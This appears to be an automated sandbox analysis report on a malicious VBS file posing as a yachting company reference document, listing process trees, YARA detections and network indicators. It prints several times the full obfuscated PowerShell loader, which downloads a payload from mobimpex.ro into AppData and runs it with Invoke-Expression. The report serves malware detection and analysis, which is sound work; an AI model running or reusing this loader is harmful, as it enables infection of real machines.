Source: powershell.exe, 00000002.00000002.1419422353.0000019B63786000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1419422353.0000019B64578000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1419422353.0000019B63B9A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1419422353.0000019B647E3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1419422353.0000019B64728000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mobimpex.ro
Source: powershell.exe, 00000002.00000002.1419422353.0000019B64578000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mobimpex.ro/
Source: powershell.exe, 00000002.00000002.1419422353.0000019B64578000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mobimpex.ro/E
Source: powershell.exe, 00000002.00000002.1419422353.0000019B64578000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mobimpex.ro/Ev
Source: powershell.exe, 00000002.00000002.1419422353.0000019B64578000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mobimpex.ro/Eva
Source: powershell.exe, 00000002.00000002.1419422353.0000019B64578000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mobimpex.ro/Evak
Source: powershell.exe, 00000002.00000002.1419422353.0000019B64578000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mobimpex.ro/Evaku
Source: powershell.exe, 00000002.00000002.1419422353.0000019B64578000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mobimpex.ro/Evakue
Source: powershell.exe, 00000002.00000002.1419422353.0000019B64578000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mobimpex.ro/Evakuer
Source: powershell.exe, 00000002.00000002.1419422353.0000019B64578000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mobimpex.ro/Evakueri
Source: powershell.exe, 00000002.00000002.1419422353.0000019B64578000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mobimpex.ro/Evakuerin
Source: powershell.exe, 00000002.00000002.1419422353.0000019B64578000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mobimpex.ro/Evakuering
Source: powershell.exe, 00000002.00000002.1419422353.0000019B64578000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mobimpex.ro/Evakuerings
Source: powershell.exe, 00000002.00000002.1419422353.0000019B64578000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mobimpex.ro/Evakueringsv
Source: powershell.exe, 00000002.00000002.1419422353.0000019B64578000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mobimpex.ro/Evakueringsve
Source: powershell.exe, 00000002.00000002.1419422353.0000019B64578000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mobimpex.ro/Evakueringsvel
Source: powershell.exe, 00000002.00000002.1419422353.0000019B64578000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mobimpex.ro/Evakueringsvels
Source: powershell.exe, 00000002.00000002.1419422353.0000019B64578000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mobimpex.ro/Evakueringsvelse
Source: powershell.exe, 00000002.00000002.1419422353.0000019B64578000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mobimpex.ro/Evakueringsvelser
Source: powershell.exe, 00000002.00000002.1419422353.0000019B64578000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mobimpex.ro/Evakueringsvelsern
Source: powershell.exe, 00000002.00000002.1419422353.0000019B64578000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mobimpex.ro/Evakueringsvelserne
Source: powershell.exe, 00000002.00000002.1419422353.0000019B64578000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mobimpex.ro/Evakueringsvelsernes
Source: powershell.exe, 00000002.00000002.1419422353.0000019B64578000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mobimpex.ro/Evakueringsvelsernes.
Source: powershell.exe, 00000002.00000002.1419422353.0000019B64578000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mobimpex.ro/Evakueringsvelsernes.t
Source: powershell.exe, 00000002.00000002.1419422353.0000019B64578000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mobimpex.ro/Evakueringsvelsernes.th
Source: powershell.exe, 00000002.00000002.1419422353.0000019B64578000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mobimpex.ro/Evakueringsvelsernes.thn
Source: powershell.exe, 00000002.00000002.1419422353.0000019B63786000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mobimpex.ro/Evakueringsvelsernes.thnP
Source: powershell.exe, 0000000A.00000002.2544044724.0000000004524000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mobimpex.ro/Evakueringsvelsernes.thnXR
Source: powershell.exe, 00000002.00000002.1448986329.0000019B735D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49697
Source: unknown	Network traffic detected: HTTP traffic on port 49695 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49695
Source: unknown	Network traffic detected: HTTP traffic on port 49697 -> 443

Source: unknown

HTTPS traffic detected: 188.213.33.77:443 -> 192.168.2.6:49695 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: amsi64_7524.amsi.csv, type: OTHER	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: amsi32_5328.amsi.csv, type: OTHER	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 7524, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 5328, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Potential malicious VBS script found (suspicious strings)

Source:

Initial file: Call Campanini.ShellExecute(Lillah & Orthographised, Genhuses, "", "", Intercollege)

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe	COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}	Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: WBEM Locator HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}	Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: Windows Management and Instrumentation HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}	Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: Shell Automation Service HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{13709620-C279-11CE-A49E-444553540000}	Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Get-Service;$Grovellingly='func';Get-History;$Grovellingly+='t';Get-History;$Grovellingly+='ion:';(ni -p $Grovellingly -n Pigtraadsorkesteret -value { param($Tightwads);$Sildetnders=1;do {$budskabs+=$Tightwads[$Sildetnders];$Sildetnders+=2} until(!$Tightwads[$Sildetnders])$budskabs});ConvertTo-Html;(ni -p $Grovellingly -n Blodtrykkene -value {param($Tracings);.($Tussede) ($Tracings)});ConvertTo-Html;$Hakkelsemaskine=Pigtraadsorkesteret 'MN E,tK..w';$Hakkelsemaskine+=Pigtraadsorkesteret 'Ve BFcRLCIAeTNAt';$Pseu.lassic=Pigtraadsorkesteret ',M oIz i,lPl aU/';$Programmernes=Pigtraadsorkesteret 'rT lVs 1 2';$Fyndige=' [CNVe,ta. SLEBRDv.IFc E p o i NAT mTAFnLa gCEKR ] : :,sSE C u rPITTFy,P r,O t o CLo.lS=F$ pKRbO g REARM,m EHR NUeCs';$Pseu.lassic+=Pigtraadsorkesteret ' 5A. 0u ( WNiMn dCoUw.s FNLT, 1,0T.,0.;R .W iunD6 4S; HxN6.4 ;P r vA: 1,3 4U.V0K)T GAe cDkSo /,2 0i1P0H0,1 0 1U FLiIr eFfOo.xB/ 1 3B4C.D0';$Sldens=Pigtraadsorkesteret ',uAsHEErO-Ea g e.nTT';$tudemikkels=Pigtraadsorkesteret 'Thut t pRsD:,/ / m oLb iSm pte xM..r oS/BEgv,a keukeRrHi n gDsBv e lPswe r n.e,s,.LtAhDn';$Biharmonic106=Pigtraadsorkesteret 'S>';$Tussede=Pigtraadsorkesteret ' i E X';$Lyskurvene96='Survivalists';$Flystyrtenes='\daturism.Hyp';Blodtrykkene (Pigtraadsorkesteret 'Y$SG lLo bSA LS:Bv o kra T,iEVDs.=P$Te n,vU: aFp p d,AMT AE+C$AFRL y,s t.y R.t,EFnAeHs');Blodtrykkene (Pigtraadsorkesteret '.$PGHlZoUBFASlS: lTD eMRS= $ tuU D e M IMK.KHEHL sM. sBPDlRi TC( $hB iUHSaAr m O n IECA1 0S6 )');Blodtrykkene (Pigtraadsorkesteret $Fyndige);$tudemikkels=$Lder[0];$Afsejl=(Pigtraadsorkesteret ' $GG l,O B.ATLN:.UUDRS TTaTtUI.O nYe.r ERnEDKESSM= nKE wB-PoPB j EfcKT SNyUSMT,eSmy.B$BhpaiKJk eMl,S E MBa sTK iSn E');Blodtrykkene ($Afsejl);Blodtrykkene (Pigtraadsorkesteret 'C$,U dCsAt aTtUiSo nFeEr e nGdSeRsA.PHaeOa dCeFrDsK[ $ SKltd eFn.s ] =I$WP sPe u.d oMcHl a.sJs iAc');$Forlagshistoriers=Pigtraadsorkesteret ' $AU d sTtpaAt iSo n e r e.nAd,e sB. D o w n,l,oCa dTFDiElSe.(A$ t uGdTe mSiOk.k e lSsK,a$BD e lCl.aHvPoAlRpTi a nFe rFnSeDs,)';$Dellavolpianernes=$Vokativs;Blodtrykkene (Pigtraadsorkesteret ' $AGAL,ODbSaClM: m I S,GHISV ESS,= (HT EBS Tu-SPSaHt hB F$ d ESl,l ASvVO L p i a,NAEUrFN euSv)');while (!$Misgives) {Blodtrykkene (Pigtraadsorkesteret 'G$igblSo bSaElD:EOTiAe =.$UMUeDdTpIlPawn') ;Blodtrykkene $Forlagshistoriers;Blodtrykkene (Pigtraadsorkesteret 'V[ tAh r,eaA,d I N GD.DTUh.rTEKa Db] :P: sTLAE e P (S4G0H0 0V)');Blodtrykkene (Pigtraadsorkesteret 'R$ GOLGoBbBaML :UM i,SFgDITV e SM= ( tKE s t -NPSa t.H N$ND eTLBl ARV o L pEi,ACNRe RRnSe s,)') ;Blodtrykkene (Pigtraadsorkesteret 'B$ G.lOO bSA,l :ES KFrSi VvE TEIBL L aSdUePlDSGeAR N e SA=N$ GSlOoVbLA LV: bFa,u,sTo,N +B+ %u$ALHDUEGR . cso,UTN t') ;$tudemikkels=$Lder[$Skrivetilladelsernes]}$Losningens=329762;$Essayical=26899;Blodtrykkene (Pigtraadsorkesteret 'S$Ig,L o B,a LL: b.lRA nPk eSTiT ETN R=. FG eDt -McRoJn t
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Get-Service;$Grovellingly='func';Get-History;$Grovellingly+='t';Get-History;$Grovellingly+='ion:';(ni -p $Grovellingly -n Pigtraadsorkesteret -value { param($Tightwads);$Sildetnders=1;do {$budskabs+=$Tightwads[$Sildetnders];$Sildetnders+=2} until(!$Tightwads[$Sildetnders])$budskabs});ConvertTo-Html;(ni -p $Grovellingly -n Blodtrykkene -value {param($Tracings);.($Tussede) ($Tracings)});ConvertTo-Html;$Hakkelsemaskine=Pigtraadsorkesteret 'MN E,tK..w';$Hakkelsemaskine+=Pigtraadsorkesteret 'Ve BFcRLCIAeTNAt';$Pseu.lassic=Pigtraadsorkesteret ',M oIz i,lPl aU/';$Programmernes=Pigtraadsorkesteret 'rT lVs 1 2';$Fyndige=' [CNVe,ta. SLEBRDv.IFc E p o i NAT mTAFnLa gCEKR ] : :,sSE C u rPITTFy,P r,O t o CLo.lS=F$ pKRbO g REARM,m EHR NUeCs';$Pseu.lassic+=Pigtraadsorkesteret ' 5A. 0u ( WNiMn dCoUw.s FNLT, 1,0T.,0.;R .W iunD6 4S; HxN6.4 ;P r vA: 1,3 4U.V0K)T GAe cDkSo /,2 0i1P0H0,1 0 1U FLiIr eFfOo.xB/ 1 3B4C.D0';$Sldens=Pigtraadsorkesteret ',uAsHEErO-Ea g e.nTT';$tudemikkels=Pigtraadsorkesteret 'Thut t pRsD:,/ / m oLb iSm pte xM..r oS/BEgv,a keukeRrHi n gDsBv e lPswe r n.e,s,.LtAhDn';$Biharmonic106=Pigtraadsorkesteret 'S>';$Tussede=Pigtraadsorkesteret ' i E X';$Lyskurvene96='Survivalists';$Flystyrtenes='\daturism.Hyp';Blodtrykkene (Pigtraadsorkesteret 'Y$SG lLo bSA LS:Bv o kra T,iEVDs.=P$Te n,vU: aFp p d,AMT AE+C$AFRL y,s t.y R.t,EFnAeHs');Blodtrykkene (Pigtraadsorkesteret '.$PGHlZoUBFASlS: lTD eMRS= $ tuU D e M IMK.KHEHL sM. sBPDlRi TC( $hB iUHSaAr m O n IECA1 0S6 )');Blodtrykkene (Pigtraadsorkesteret $Fyndige);$tudemikkels=$Lder[0];$Afsejl=(Pigtraadsorkesteret ' $GG l,O B.ATLN:.UUDRS TTaTtUI.O nYe.r ERnEDKESSM= nKE wB-PoPB j EfcKT SNyUSMT,eSmy.B$BhpaiKJk eMl,S E MBa sTK iSn E');Blodtrykkene ($Afsejl);Blodtrykkene (Pigtraadsorkesteret 'C$,U dCsAt aTtUiSo nFeEr e nGdSeRsA.PHaeOa dCeFrDsK[ $ SKltd eFn.s ] =I$WP sPe u.d oMcHl a.sJs iAc');$Forlagshistoriers=Pigtraadsorkesteret ' $AU d sTtpaAt iSo n e r e.nAd,e sB. D o w n,l,oCa dTFDiElSe.(A$ t uGdTe mSiOk.k e lSsK,a$BD e lCl.aHvPoAlRpTi a nFe rFnSeDs,)';$Dellavolpianernes=$Vokativs;Blodtrykkene (Pigtraadsorkesteret ' $AGAL,ODbSaClM: m I S,GHISV ESS,= (HT EBS Tu-SPSaHt hB F$ d ESl,l ASvVO L p i a,NAEUrFN euSv)');while (!$Misgives) {Blodtrykkene (Pigtraadsorkesteret 'G$igblSo bSaElD:EOTiAe =.$UMUeDdTpIlPawn') ;Blodtrykkene $Forlagshistoriers;Blodtrykkene (Pigtraadsorkesteret 'V[ tAh r,eaA,d I N GD.DTUh.rTEKa Db] :P: sTLAE e P (S4G0H0 0V)');Blodtrykkene (Pigtraadsorkesteret 'R$ GOLGoBbBaML :UM i,SFgDITV e SM= ( tKE s t -NPSa t.H N$ND eTLBl ARV o L pEi,ACNRe RRnSe s,)') ;Blodtrykkene (Pigtraadsorkesteret 'B$ G.lOO bSA,l :ES KFrSi VvE TEIBL L aSdUePlDSGeAR N e SA=N$ GSlOoVbLA LV: bFa,u,sTo,N +B+ %u$ALHDUEGR . cso,UTN t') ;$tudemikkels=$Lder[$Skrivetilladelsernes]}$Losningens=329762;$Essayical=26899;Blodtrykkene (Pigtraadsorkesteret 'S$Ig,L o B,a LL: b.lRA nPk eSTiT ETN R=. FG eDt -McRoJn t			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FF88B4DD469		2_2_00007FF88B4DD469
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FF88B75246A		2_2_00007FF88B75246A

Source: ADEX YACHTING Kft. REF HU03192025.vbs

Initial sample: Strings found which are bigger than 50

Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 3516
Source: unknown	Process created: Commandline size = 3516
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 3516	Jump to behavior

Source: amsi64_7524.amsi.csv, type: OTHER	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: amsi32_5328.amsi.csv, type: OTHER	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 7524, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 5328, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal100.troj.expl.evad.winVBS@6/7@2/1

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\daturism.Hyp

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5600:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7532:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2bnrq3vc.ito.ps1

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ADEX YACHTING Kft. REF HU03192025.vbs"

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where ProcessId=7524
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where ProcessId=5328

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: ADEX YACHTING Kft. REF HU03192025.vbs	ReversingLabs: Detection: 19%
Source: ADEX YACHTING Kft. REF HU03192025.vbs	Virustotal: Detection: 11%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ADEX YACHTING Kft. REF HU03192025.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Get-Service;$Grovellingly='func';Get-History;$Grovellingly+='t';Get-History;$Grovellingly+='ion:';(ni -p $Grovellingly -n Pigtraadsorkesteret -value { param($Tightwads);$Sildetnders=1;do {$budskabs+=$Tightwads[$Sildetnders];$Sildetnders+=2} until(!$Tightwads[$Sildetnders])$budskabs});ConvertTo-Html;(ni -p $Grovellingly -n Blodtrykkene -value {param($Tracings);.($Tussede) ($Tracings)});ConvertTo-Html;$Hakkelsemaskine=Pigtraadsorkesteret 'MN E,tK..w';$Hakkelsemaskine+=Pigtraadsorkesteret 'Ve BFcRLCIAeTNAt';$Pseu.lassic=Pigtraadsorkesteret ',M oIz i,lPl aU/';$Programmernes=Pigtraadsorkesteret 'rT lVs 1 2';$Fyndige=' [CNVe,ta. SLEBRDv.IFc E p o i NAT mTAFnLa gCEKR ] : :,sSE C u rPITTFy,P r,O t o CLo.lS=F$ pKRbO g REARM,m EHR NUeCs';$Pseu.lassic+=Pigtraadsorkesteret ' 5A. 0u ( WNiMn dCoUw.s FNLT, 1,0T.,0.;R .W iunD6 4S; HxN6.4 ;P r vA: 1,3 4U.V0K)T GAe cDkSo /,2 0i1P0H0,1 0 1U FLiIr eFfOo.xB/ 1 3B4C.D0';$Sldens=Pigtraadsorkesteret ',uAsHEErO-Ea g e.nTT';$tudemikkels=Pigtraadsorkesteret 'Thut t pRsD:,/ / m oLb iSm pte xM..r oS/BEgv,a keukeRrHi n gDsBv e lPswe r n.e,s,.LtAhDn';$Biharmonic106=Pigtraadsorkesteret 'S>';$Tussede=Pigtraadsorkesteret ' i E X';$Lyskurvene96='Survivalists';$Flystyrtenes='\daturism.Hyp';Blodtrykkene (Pigtraadsorkesteret 'Y$SG lLo bSA LS:Bv o kra T,iEVDs.=P$Te n,vU: aFp p d,AMT AE+C$AFRL y,s t.y R.t,EFnAeHs');Blodtrykkene (Pigtraadsorkesteret '.$PGHlZoUBFASlS: lTD eMRS= $ tuU D e M IMK.KHEHL sM. sBPDlRi TC( $hB iUHSaAr m O n IECA1 0S6 )');Blodtrykkene (Pigtraadsorkesteret $Fyndige);$tudemikkels=$Lder[0];$Afsejl=(Pigtraadsorkesteret ' $GG l,O B.ATLN:.UUDRS TTaTtUI.O nYe.r ERnEDKESSM= nKE wB-PoPB j EfcKT SNyUSMT,eSmy.B$BhpaiKJk eMl,S E MBa sTK iSn E');Blodtrykkene ($Afsejl);Blodtrykkene (Pigtraadsorkesteret 'C$,U dCsAt aTtUiSo nFeEr e nGdSeRsA.PHaeOa dCeFrDsK[ $ SKltd eFn.s ] =I$WP sPe u.d oMcHl a.sJs iAc');$Forlagshistoriers=Pigtraadsorkesteret ' $AU d sTtpaAt iSo n e r e.nAd,e sB. D o w n,l,oCa dTFDiElSe.(A$ t uGdTe mSiOk.k e lSsK,a$BD e lCl.aHvPoAlRpTi a nFe rFnSeDs,)';$Dellavolpianernes=$Vokativs;Blodtrykkene (Pigtraadsorkesteret ' $AGAL,ODbSaClM: m I S,GHISV ESS,= (HT EBS Tu-SPSaHt hB F$ d ESl,l ASvVO L p i a,NAEUrFN euSv)');while (!$Misgives) {Blodtrykkene (Pigtraadsorkesteret 'G$igblSo bSaElD:EOTiAe =.$UMUeDdTpIlPawn') ;Blodtrykkene $Forlagshistoriers;Blodtrykkene (Pigtraadsorkesteret 'V[ tAh r,eaA,d I N GD.DTUh.rTEKa Db] :P: sTLAE e P (S4G0H0 0V)');Blodtrykkene (Pigtraadsorkesteret 'R$ GOLGoBbBaML :UM i,SFgDITV e SM= ( tKE s t -NPSa t.H N$ND eTLBl ARV o L pEi,ACNRe RRnSe s,)') ;Blodtrykkene (Pigtraadsorkesteret 'B$ G.lOO bSA,l :ES KFrSi VvE TEIBL L aSdUePlDSGeAR N e SA=N$ GSlOoVbLA LV: bFa,u,sTo,N +B+ %u$ALHDUEGR . cso,UTN t') ;$tudemikkels=$Lder[$Skrivetilladelsernes]}$Losningens=329762;$Essayical=26899;Blodtrykkene (Pigtraadsorkesteret 'S$Ig,L o B,a LL: b.lRA nPk eSTiT ETN R=. FG eDt -McRoJn t
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "Get-Service;$Grovellingly='func';Get-History;$Grovellingly+='t';Get-History;$Grovellingly+='ion:';(ni -p $Grovellingly -n Pigtraadsorkesteret -value { param($Tightwads);$Sildetnders=1;do {$budskabs+=$Tightwads[$Sildetnders];$Sildetnders+=2} until(!$Tightwads[$Sildetnders])$budskabs});ConvertTo-Html;(ni -p $Grovellingly -n Blodtrykkene -value {param($Tracings);.($Tussede) ($Tracings)});ConvertTo-Html;$Hakkelsemaskine=Pigtraadsorkesteret 'MN E,tK..w';$Hakkelsemaskine+=Pigtraadsorkesteret 'Ve BFcRLCIAeTNAt';$Pseu.lassic=Pigtraadsorkesteret ',M oIz i,lPl aU/';$Programmernes=Pigtraadsorkesteret 'rT lVs 1 2';$Fyndige=' [CNVe,ta. SLEBRDv.IFc E p o i NAT mTAFnLa gCEKR ] : :,sSE C u rPITTFy,P r,O t o CLo.lS=F$ pKRbO g REARM,m EHR NUeCs';$Pseu.lassic+=Pigtraadsorkesteret ' 5A. 0u ( WNiMn dCoUw.s FNLT, 1,0T.,0.;R .W iunD6 4S; HxN6.4 ;P r vA: 1,3 4U.V0K)T GAe cDkSo /,2 0i1P0H0,1 0 1U FLiIr eFfOo.xB/ 1 3B4C.D0';$Sldens=Pigtraadsorkesteret ',uAsHEErO-Ea g e.nTT';$tudemikkels=Pigtraadsorkesteret 'Thut t pRsD:,/ / m oLb iSm pte xM..r oS/BEgv,a keukeRrHi n gDsBv e lPswe r n.e,s,.LtAhDn';$Biharmonic106=Pigtraadsorkesteret 'S>';$Tussede=Pigtraadsorkesteret ' i E X';$Lyskurvene96='Survivalists';$Flystyrtenes='\daturism.Hyp';Blodtrykkene (Pigtraadsorkesteret 'Y$SG lLo bSA LS:Bv o kra T,iEVDs.=P$Te n,vU: aFp p d,AMT AE+C$AFRL y,s t.y R.t,EFnAeHs');Blodtrykkene (Pigtraadsorkesteret '.$PGHlZoUBFASlS: lTD eMRS= $ tuU D e M IMK.KHEHL sM. sBPDlRi TC( $hB iUHSaAr m O n IECA1 0S6 )');Blodtrykkene (Pigtraadsorkesteret $Fyndige);$tudemikkels=$Lder[0];$Afsejl=(Pigtraadsorkesteret ' $GG l,O B.ATLN:.UUDRS TTaTtUI.O nYe.r ERnEDKESSM= nKE wB-PoPB j EfcKT SNyUSMT,eSmy.B$BhpaiKJk eMl,S E MBa sTK iSn E');Blodtrykkene ($Afsejl);Blodtrykkene (Pigtraadsorkesteret 'C$,U dCsAt aTtUiSo nFeEr e nGdSeRsA.PHaeOa dCeFrDsK[ $ SKltd eFn.s ] =I$WP sPe u.d oMcHl a.sJs iAc');$Forlagshistoriers=Pigtraadsorkesteret ' $AU d sTtpaAt iSo n e r e.nAd,e sB. D o w n,l,oCa dTFDiElSe.(A$ t uGdTe mSiOk.k e lSsK,a$BD e lCl.aHvPoAlRpTi a nFe rFnSeDs,)';$Dellavolpianernes=$Vokativs;Blodtrykkene (Pigtraadsorkesteret ' $AGAL,ODbSaClM: m I S,GHISV ESS,= (HT EBS Tu-SPSaHt hB F$ d ESl,l ASvVO L p i a,NAEUrFN euSv)');while (!$Misgives) {Blodtrykkene (Pigtraadsorkesteret 'G$igblSo bSaElD:EOTiAe =.$UMUeDdTpIlPawn') ;Blodtrykkene $Forlagshistoriers;Blodtrykkene (Pigtraadsorkesteret 'V[ tAh r,eaA,d I N GD.DTUh.rTEKa Db] :P: sTLAE e P (S4G0H0 0V)');Blodtrykkene (Pigtraadsorkesteret 'R$ GOLGoBbBaML :UM i,SFgDITV e SM= ( tKE s t -NPSa t.H N$ND eTLBl ARV o L pEi,ACNRe RRnSe s,)') ;Blodtrykkene (Pigtraadsorkesteret 'B$ G.lOO bSA,l :ES KFrSi VvE TEIBL L aSdUePlDSGeAR N e SA=N$ GSlOoVbLA LV: bFa,u,sTo,N +B+ %u$ALHDUEGR . cso,UTN t') ;$tudemikkels=$Lder[$Skrivetilladelsernes]}$Losningens=329762;$Essayical=26899;Blodtrykkene (Pigtraadsorkesteret 'S$Ig,L o B,a LL: b.lRA nPk eSTiT ETN R=. FG eDt -McRoJn t
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Get-Service;$Grovellingly='func';Get-History;$Grovellingly+='t';Get-History;$Grovellingly+='ion:';(ni -p $Grovellingly -n Pigtraadsorkesteret -value { param($Tightwads);$Sildetnders=1;do {$budskabs+=$Tightwads[$Sildetnders];$Sildetnders+=2} until(!$Tightwads[$Sildetnders])$budskabs});ConvertTo-Html;(ni -p $Grovellingly -n Blodtrykkene -value {param($Tracings);.($Tussede) ($Tracings)});ConvertTo-Html;$Hakkelsemaskine=Pigtraadsorkesteret 'MN E,tK..w';$Hakkelsemaskine+=Pigtraadsorkesteret 'Ve BFcRLCIAeTNAt';$Pseu.lassic=Pigtraadsorkesteret ',M oIz i,lPl aU/';$Programmernes=Pigtraadsorkesteret 'rT lVs 1 2';$Fyndige=' [CNVe,ta. SLEBRDv.IFc E p o i NAT mTAFnLa gCEKR ] : :,sSE C u rPITTFy,P r,O t o CLo.lS=F$ pKRbO g REARM,m EHR NUeCs';$Pseu.lassic+=Pigtraadsorkesteret ' 5A. 0u ( WNiMn dCoUw.s FNLT, 1,0T.,0.;R .W iunD6 4S; HxN6.4 ;P r vA: 1,3 4U.V0K)T GAe cDkSo /,2 0i1P0H0,1 0 1U FLiIr eFfOo.xB/ 1 3B4C.D0';$Sldens=Pigtraadsorkesteret ',uAsHEErO-Ea g e.nTT';$tudemikkels=Pigtraadsorkesteret 'Thut t pRsD:,/ / m oLb iSm pte xM..r oS/BEgv,a keukeRrHi n gDsBv e lPswe r n.e,s,.LtAhDn';$Biharmonic106=Pigtraadsorkesteret 'S>';$Tussede=Pigtraadsorkesteret ' i E 